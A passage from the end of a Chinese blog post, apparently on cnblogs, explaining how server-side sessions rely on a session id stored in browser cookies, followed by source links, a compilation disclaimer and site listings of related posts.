    Cookie和Session的方案虽然分别属于客户端和服务端,但是服务端的session的实现对客户端的cookie有依赖关系的,上面我讲到服务端执行session机制时候会生成session的id值,这个id值会发送给客户端,客户端每次请求都会把这个id值放到http请求的头部发送给服务端,而这个id值在客户端会保存下来,保存的容器就是cookie,因此当我们完全禁掉浏览器的cookie的时候,服务端的session也会不能正常使用

 

参考搬运自:(建议阅读原文,原文给详细)
https://zhuanlan.zhihu.com/p/21275207
https://www.cnblogs.com/andy-zhou/p/5360107.html

 返回目录

 

 

 

 

注:

本文几乎是搬运网上各位作者的部分文章,组成了我想要了解和学习的知识点;每一小节都有标明出处,建议阅读原文(原文更加详细),若有冒犯,望海涵!

posted @   咿呀鲸落  阅读(2007)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 使用C#创建一个MCP客户端
· ollama系列1:轻松3步本地部署deepseek,普通电脑可用
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 按钮权限的设计及实现
历史上的今天:
2021-09-18 前端编程笔记--CSS-02
点击右上角即可分享
微信分享提示